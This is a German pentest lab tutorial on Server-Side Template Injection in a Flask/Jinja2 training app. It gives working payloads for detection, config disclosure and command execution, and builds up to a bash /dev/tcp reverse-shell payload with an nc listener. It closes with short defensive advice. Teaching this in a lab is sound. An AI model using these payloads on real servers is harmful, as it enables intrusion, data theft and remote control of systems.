Einleitung
Ein weiterer möglicher Angriffsvektor, der zum Sicherheitsrisiko Injection gehört, ist die Server Side Template Injection (SSTI).
Bei einer Server-Side Template Injection (SSTI) gelingt es einem Angreifer, schadhaften Code in Templates einzuschleusen, der auf dem Server ausgeführt wird. Dies geschieht typischerweise in Webanwendungen, die Template-Engines verwenden, um HTML-Seiten dynamisch zu generieren.
Eine Template Engine ist eine Software-Komponente, die statische Vorlagedateien zu HTML verarbeitet und dabei darin enthaltende Platzhalter mit dynamischen Daten ersetzt. Damit kann dieselbe Vorlage mit unterschiedlichen Daten gefüllt werden.
Jede Template Engine hat ihre eigene Syntax und Notation für Platzhalter. Zum Beispiel verwendet Jinja2 geschweifte Klammern:
<h1>Welcome, {{ username }}!</h1>
Hier ist {{ username }} ein Platzhalter, der bei der Verarbeitung durch den tatsächlichen Wert der Variablen username ersetzt wird.
So etwas lässt sich auch auf der Webapplikation des LUPFERs beobachten.
Wenn du dich nämlich als admin anmeldest, siehst du auf dem Dashboard die Meldung Welcome, admin!.
Wenn Benutzereingaben in Templates eingefügt werden, ohne dass sie validiert oder behandelt werden, können Angreifer schädlichen Code einfügen. Wird dieser auf dem Server ausgeführt, ist die SSTI gelungen. Folgende Risiken sind mit der SSTI verbunden:
- Datenexfiltration: Zugriff auf vertrauliche Informationen
- Codeausführung: Möglichkeit, schadhafte Befehle auszuführen
- Denial of Service (DoS): Überlastung des Servers durch schädliche Anfragen
Damit du gezielt testen kannst, ob die Webapplikation anfällig für SSTI ist, musst du natürlich wieder wissen, wo du dies tun sollst. Das geschieht im Rahmen der Reconnaissance.
Bei der Webapplikation des LUPFERs sind also die Seiten \plantmap und \usermanagement mögliche Eintrittspunkte für SSTI.
Diese Seiten wirst du also weiter untersuchen.
Testen auf SSTI
Nun beginnt die Enumeration, bei der du feststellst, ob die Webapplikation tatsächlich anfällig für eine SSTI ist. Dafür probierst du verschiedene Payloads aus, die eine besondere Bedeutung für die verwendete Template Engine haben könnte. Aus dem Verhalten der Webapplikation kannst du dann nicht nur ableiten, ob SSTI möglich ist, sondern auch, welche Template Engine möglicherweise eingesetzt wird.
Mögliche Payloads findest du hier. Eine umfangreiche Sammlung von Payloads für etwa 50 verschiedene Template Engines gibt es in diesem CheatSheet.
Hinweis: Wenn die Webapplikation nach einer Eingabe nicht mehr erreichbar sein sollte, kannst du die Datenbank zurücksetzen. Dafür musst du die Webseite https://lupfer.pentest.samsmart.hosts.openinc.de/db_reset anfordern.
Wenn du unter /usermanagement einen neuen Benutzer anlegst und dabei den Payload {{7*7}} in die Felder Username, Email und Password eingibst, siehst du, dass der Ausdruck in der Tabelle auf der Webseite durch das Ergebnis 49 ersetzt wird.
Die Template Engine interpretiert {{7*7}} also als Anweisung, wertet sie aus und berechnet das Ergebnis.
Die Ressource /usermanagement ist also ein Einstiegspunkt für SSTI.
Bevor du diese Schwachstelle ausnutzen kannst, musst du noch die Template Engine identifizieren.
Es handelt sich um Jinja2, die standardmäßig als Template-Engine im Python-Web-Framework Flask verwendet wird.
Einen Hinweis darauf liefert der Payload {{7*'7'}}, der zu der Zeichenkette 7777777 ausgewertet wird, wie du hier nachlesen kannst.
Die Ressourcen /plantmap und /settings sind dagegen offensichtlich kein Einstiegspunkt für SSTI, weil die Eingabe {{7*7}} als reiner Text angezeigt wird.
Exploitation
Information Disclosure
Nachdem du nun weißt, dass die Webapplikation des LUPFERs anfällig für SSTI ist und die Template Engine Jinja2 nutzt, kannst du den Angriffsvektor ausnutzen. Ein ersten lohnendes Angriffsziel ist dabei das Ausleiten von Informationen. Gib dafür folgenden Payload in eines der Eingabefelder ein:
{{config.items()}}
Damit wird die Konfiguration einer Flask-Webapplikation ausgelesen. Kopiere die Ausgabe in der Tabelle am besten in einen Editor, um sie auswerten zu können.
Bei der SSTI soll es außerdem möglich sein, Shell-Befehle auf dem Server auszuführen. Das kannst du mit folgendem Payload ausprobieren:
{{request.application.__globals__.__builtins__.__import__('os').popen('whoami').read()}}
Die einzelnen Bestandteile der Payload bedeuten dabei:
| Bestandteil | Erklärung |
|---|---|
request.application |
Bezieht sich auf die Flask-Anwendung, die gerade die Anfrage bearbeitet |
__globals__ |
Ermöglicht den Zugriff auf Funktionen und Variablen, die im globalen Kontext der Anwendung definiert sind |
__builtins__ |
Gewährt Zugriff auf die integrierten Funktionen und Ausnahmen von Python |
__import__('os') |
Importiert das os-Modul von Python, das Funktionen für die Interaktion mit dem Betriebssystem bereitstellt |
popen('whoami') |
Startet einen neuen Prozess, der den Shell-Befehl whoami ausführt, um den aktuellen Benutzernamen des Systems zurückzugeben |
read() |
Liest die Ausgabe des gestarteten Prozesses und gibt sie als String zurück; in diesem Fall den Benutzernamen |
Eine Shell ist eine Benutzerschnittstelle, über die Befehle an das Betriebssystem eingegeben werden. Es gibt textbasierte Shells (wie
ShundBash), die über die Kommandozeile arbeiten, und auch grafische Benutzeroberflächen, die eine visuelle Interaktion bieten.
Reverse Shell
Nun ist es etwas umständlich, wenn du weitere Befehle ausführen lässt, indem du jeweils einen neuen Benutzer anlegst. Handlicher wäre es, wenn du direkt auf den Server zugreifen könntest und keinen Umweg über die Webapplikation nehmen müsstest. Da die SSTI das Ausführen von Shell-Befehlen ermöglicht, ist es unter Umständen möglich, dies über eine Reverse Shell zu erreichen.
Reverse Shell ist eine Art von Netzwerkverbindung, bei der ein Zielsystem, das kompromittiert werden soll, eine Verbindung zu einem Angreifer herstellt, um Shell-Zugriff auf das Zielsystem zu ermöglichen. Dafür muss der Angreifer einen Befehl einschleusen, mit dem das Zielsystem selbst eine Verbindung zum Server des Angreifers herstellt.
Im Internet findest du auch dafür CheatSheets wie zum Beispiel hier oder hier. Nicht jede der Payloads funktioniert, weil das entsprechende Programm auf dem Zielsystem installiert und ausführbar sein muss.
Du weißt, dass auf dem LUPFER eine Shell installiert sein muss, die Befehle an das Betriebssystem sendet. Welche Shell das ist, kannst du über eine SSTI Injection herausfinden.
Wenn du einen neuen Benutzer anlegst und in ein Feld folgenden Payload eingibst, erfährst du, dass bash die aktuelle Shell ist:
{{request.application.__globals__.__builtins__.__import__('os').popen('echo $SHELL').read()}}
Dabei ist echo ein Befehl, der verwendet wird, um Text oder den Inhalt von Variablen in der Kommandozeile auszugeben.
Die Umgebungsvariable $SHELL enthält den Pfad zur Standard-Shell, die für den aktuellen Benutzer konfiguriert ist.
Es sollte also möglich sein, das Programm bash einzusetzen, um eine Reverse Shell zu erhalten.
Dieses CheatSheet schlägt dafür verschiedene Payloads vor, unter anderem:
bash -i >& /dev/tcp/<IP>/<Port> 0>&1
Mit bash -i Hier wird eine interaktive Shell geöffnet, deren Ausgabe mit >& über eine TCP-Verbindung umgeleitet wird, die über die spezielle Datei /dev/tcp/<IP>/<Port> repräsentiert wird.
Diese Datei enthält die Zieladresse <IP> und den Zielport <Port> der TCP-Verbindung.
Die Eingabe kommt wegen 0>&1 von der gleichen TCP-Verbindung, die auch die Ausgabe erhält.
Nun musst du noch die IP-Adresse deines Compputers eintragen und eine Portnummer wählen.
Ohne Administratorrechte kannst du eine Portnummer wählen, die größer als 1.023 ist.
Nachdem der Payload für die Webapplikation steht, musst du auf deinem Computer einen Port öffnen, der auf eingehende TCP-Verbindungen wartet.
Das machst du mit dem Befehl nc:
nc -lp <port>
Mit der Option -l arbeitet nc im Listening-Modus und wartet auf eingehende Verbindungen.
Mit -p wird der Port angegeben, auf dem dein Rechner wartet.
Anschließend gibst du den folgenden Payload auf der Seite /usermanagement in eines der Felder ein, das für SSTI anfällig ist:
{{request.application.__globals__.__builtins__.__import__('os').popen('bash -i >& /dev/tcp/<IP>/<Port> 0>&1').read()}}
Beobachte das Verhalten der Webseite und des offenen Ports. Wenn der Payload funktioniert, wirst du im Terminal über die hergestellte Verbindung informiert, sobald die Webapplikation den Payload interpretiert hat.
Das hat also anscheinend nicht funktioniert. Da du keine Fehlermeldungen erhältst, musst du weitere Payloads ausprobieren.
Auch die weiteren Payloads funktionieren also nicht.
Was kann das Problem sein?
Aus der Dokumentation zu os.popen geht hervor, dass die Funktion die Klasse
subprocess.Popen nutzt.
Diese Klasse wiederum nutzt in Unix-Betriebssystemen das Programm sh als Standard-Shell.
sh untersützt aber das TCP-Pseudodateisystem nicht, das in Bash integriert ist.
Daher scheitert der Versuch, eine Verbindung zu /dev/tcp/<IP>/<Port> herzustellen.
Mit dem Payload muss also erreicht werden, dass die Shell bash und nicht die Shell sh die TCP-Verbindung herstellt.
Dies lässt sich erreichen, indem mit bash -c eine neue Instanz von bash gestartet wird, die den nachfolgenden Befehl in einem Subprozess ausführt.
Der Payload lautet damit:
{{request.application.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/<IP>/<Port> 0>&1"').read()}}
Du solltest nun Folgendes beobachten:
- Auf der Seite
/usermanagementwird nach einiger Zeit die Meldung504 Gateway Time-outausgegeben. - Der offene Port im Terminal erhält Daten.
Darunter ist die Zeichenfolge
www-data@lupfer:~$. Sie bedeutet, dass der Benutzerwww-dataaktuell imlupfer-System angemeldet ist und sich im Home-Verzeichnis des Benutzers (~) befindet.$ist ein Zeichen dafür, dass das System auf deine Eingabe wartet und du einen Befehl eingeben kannst.
Du kannst nun also beliebige Befehle ausführen, wobei du als www-data die Rolle eines normalen Benutzers hast, wie das Dollarzeichen $ zeigt.
Mit dem Befehl exit wird die Reverse Shell geschlossen.
Wenn du den Port anschließend wieder öffnest und die Seite /usermanagement neu lädst, wird die Reverse Shell erneut hergestellt.
Du hast nun also Zugriff auf das Dateisystem des LUPFERs. Was du damit erreichen kannst, erfährst du im nächsten Abschnitt.
Denial-of-Service
Während du verschiedene Payloads ausprobiert hast, ist es dir wahrscheinlich schon gelungen, dass die Webseite /usermanagement mit dem HTTP-Statuscode 500 nicht erreichbar war:
Ohne die Möglichkeit, die Webseite oder genauer die Datenbank zurückzusetzen, könntest du dies auch nicht ändern, sodass das /usermanagement nicht mehr genutzt werden könnte.
Damit läge ein Denial of Service vor.
Denial of Service (DoS) bezeichnet einen Angriff auf einen Computer, ein Netzwerk oder einen Dienst, der darauf abzielt, diesen für die vorgesehenen Benutzer unzugänglich zu machen.
Dies wird in der Regel erreicht, indem das Zielsystem mit einer Flut von Datenverkehr überschwemmt wird oder indem Schwachstellen ausgenutzt werden, die das System zum Absturz bringen oder es unempfänglich machen.
Sicherheitsmaßnahmen gegen SSTI
Zum Schluss soll es noch kurz um die Frage gehen, welche Sicherheitsmaßnahmen helfen, das Risiko einer Server Side Template Injection zu verringern. Dazu gehören:
- Verwenden sicherer Tempplate-Engines: Stelle sicher, dass die verwendete Template-Engine sicher konfiguriert ist.
- Eingabevalidierung: Mache Vorgaben für Benutzereingaben.
So kann vorgegeben werden, welche Zeichen zulässig sind.
Alternativ ist es auch möglich, Zeichen wie
{und}in die HTML-Entitäten{und}umzuwandeln, damit sie nicht von der Template-Engine interpretiert werden, sondern als Text behandelt werden. - Ausgabe-Encoding: Eingaben werden als Text interpretiert, wenn Zeichen wie
{und}in die HTML-Entitäten{und}umgewandelt werden.
